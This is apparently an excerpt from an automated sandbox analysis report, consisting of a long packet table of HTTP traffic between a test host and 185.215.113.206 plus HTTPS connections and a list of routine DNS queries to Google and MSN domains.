Nov 12, 2024 17:07:56.352232933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352245092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352257013 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352283955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352300882 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352300882 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352382898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352394104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352405071 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352418900 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352442980 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352565050 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352576971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352581978 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352587938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352602005 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352613926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352613926 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352626085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352638960 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352653980 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352721930 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352734089 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352745056 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352756977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352758884 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352768898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352782011 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352782965 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352782965 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352812052 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352852106 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352871895 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352881908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.352883101 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352909088 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352942944 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.352942944 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353030920 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353043079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353060961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353071928 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353108883 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353151083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353209019 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353219986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353236914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353247881 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353260040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353264093 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353271961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353290081 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353334904 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353357077 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353377104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353389025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353399992 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353450060 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353450060 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353521109 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353534937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353547096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353558064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353569031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353593111 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353635073 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353646994 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353683949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353696108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353705883 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353775978 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353832960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353843927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353856087 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353867054 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353877068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353888035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353899002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353899956 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353899002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353913069 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.353935957 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.353935957 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.354065895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.354311943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.354330063 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.354342937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.354370117 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.354446888 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.354461908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.354476929 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.354492903 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.354506016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.354523897 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.354558945 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.354558945 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.354923010 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.354938030 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.354949951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.354984999 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.355019093 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.355076075 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.355087996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.355098009 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.355110884 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.355133057 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.355133057 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.355182886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.355206966 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.355218887 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.355230093 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.355257034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.355257988 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.355318069 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.395817041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.395860910 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.395874023 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.395904064 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.395934105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.395947933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.395967007 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.395987034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.396158934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.467334986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.467434883 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.467443943 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.467451096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.467480898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.467503071 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.467519999 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.467540979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.467540979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.467608929 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.467797041 CET	443	49966	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.468472004 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.468521118 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.468533039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.468550920 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.468554974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.468569040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.468585014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.468585968 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.468619108 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.468661070 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.468674898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.468688965 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.468694925 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.468694925 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.468743086 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.468743086 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.468756914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.468770027 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.468792915 CET	49966	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.468801022 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.468837976 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.468847990 CET	443	49966	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.468945026 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.468990088 CET	443	49966	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.469017029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.469027996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.469031096 CET	49966	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.469038010 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.469053030 CET	49966	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.469108105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.469125032 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.469136953 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.469149113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.469161034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.469161034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.469172955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.469263077 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.469266891 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.469280005 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.469291925 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.469305038 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.469310999 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.469319105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.469352007 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.469381094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.469381094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.553566933 CET	443	49976	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.554198980 CET	49976	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.554214001 CET	443	49976	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.554733992 CET	49976	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.554739952 CET	443	49976	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.588296890 CET	443	49977	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.589457035 CET	49977	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.589468956 CET	443	49977	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.589720011 CET	49977	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.589724064 CET	443	49977	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.609692097 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.614579916 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.686801910 CET	443	49976	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.687089920 CET	443	49976	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.687706947 CET	49976	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.687706947 CET	49976	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.687706947 CET	49976	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.691977978 CET	49981	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.692015886 CET	443	49981	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.692121029 CET	49981	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.692352057 CET	49981	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.692361116 CET	443	49981	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.708587885 CET	443	49978	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.709186077 CET	49978	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.709197044 CET	443	49978	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.711982012 CET	49978	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.711987972 CET	443	49978	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.716278076 CET	443	49977	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.716312885 CET	443	49977	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.716355085 CET	443	49977	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.716399908 CET	49977	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.716496944 CET	49977	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.716576099 CET	49977	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.716576099 CET	49977	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.716597080 CET	443	49977	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.716607094 CET	443	49977	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.719400883 CET	49982	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.719430923 CET	443	49982	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.719651937 CET	49982	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.719651937 CET	49982	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.719682932 CET	443	49982	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.753753901 CET	443	49979	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.754117012 CET	49979	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.754127026 CET	443	49979	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.755975008 CET	49979	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.755980015 CET	443	49979	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.771455050 CET	443	49973	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.771718025 CET	49973	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.771730900 CET	443	49973	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.772756100 CET	443	49973	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.773174047 CET	49973	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.773174047 CET	49973	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.773237944 CET	443	49973	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.773386002 CET	49973	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.773386002 CET	49973	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.773411989 CET	443	49973	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.819046974 CET	49973	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.819056034 CET	443	49973	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.838327885 CET	443	49978	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.838469982 CET	443	49978	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.839972019 CET	49978	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.843142986 CET	49978	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.843142986 CET	49978	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.843157053 CET	443	49978	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.843166113 CET	443	49978	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.848371983 CET	49983	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.848395109 CET	443	49983	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.852067947 CET	49983	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.852179050 CET	49983	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.852189064 CET	443	49983	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.870786905 CET	49973	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.884134054 CET	443	49979	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.884656906 CET	443	49979	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.884748936 CET	49979	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.884933949 CET	49979	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.884933949 CET	49979	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.884947062 CET	443	49979	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.884958029 CET	443	49979	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.888103962 CET	49984	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.888119936 CET	443	49984	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.888257027 CET	49984	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.888446093 CET	49984	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.888458014 CET	443	49984	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.889018059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889033079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889044046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889085054 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889095068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889113903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889113903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889293909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889303923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889321089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889329910 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889380932 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889410019 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889425039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889467001 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889523983 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889604092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889688015 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889708996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889714956 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889724016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889744043 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889756918 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889764071 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889801025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889812946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889822960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889830112 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889833927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889848948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889853954 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889861107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889874935 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889878035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.889895916 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889909029 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.889974117 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.890886068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.890923977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.890938044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.891005993 CET	49859	80	192.168.2.6	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 17:07:30.937395096 CET	192.168.2.6	1.1.1.1	0x65b7	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:30.937623978 CET	192.168.2.6	1.1.1.1	0xa58b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 12, 2024 17:07:35.717993021 CET	192.168.2.6	1.1.1.1	0xb942	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:35.718164921 CET	192.168.2.6	1.1.1.1	0xa5fa	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 12, 2024 17:07:36.715617895 CET	192.168.2.6	1.1.1.1	0x8590	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:36.715790987 CET	192.168.2.6	1.1.1.1	0x59aa	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 12, 2024 17:07:41.714550018 CET	192.168.2.6	1.1.1.1	0x2729	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:41.714979887 CET	192.168.2.6	1.1.1.1	0xe770	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 12, 2024 17:07:42.957016945 CET	192.168.2.6	1.1.1.1	0x1b6a	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:42.957487106 CET	192.168.2.6	1.1.1.1	0x6b8e	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 12, 2024 17:07:44.455152035 CET	192.168.2.6	1.1.1.1	0x8523	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:44.455383062 CET	192.168.2.6	1.1.1.1	0x47be	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 12, 2024 17:07:44.555650949 CET	192.168.2.6	1.1.1.1	0x106a	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:44.555779934 CET	192.168.2.6	1.1.1.1	0xdc44	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 12, 2024 17:07:44.587075949 CET	192.168.2.6	1.1.1.1	0x71e9	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:44.587218046 CET	192.168.2.6	1.1.1.1	0x8f0c	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 12, 2024 17:07:44.595165014 CET	192.168.2.6	1.1.1.1	0xe91f	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:44.595504999 CET	192.168.2.6	1.1.1.1	0x635c	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 12, 2024 17:07:44.601056099 CET	192.168.2.6	1.1.1.1	0x52ad	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:44.601452112 CET	192.168.2.6	1.1.1.1	0xa9ca	Standard query (0)	api.msn.com	65	IN (0x0001)	false
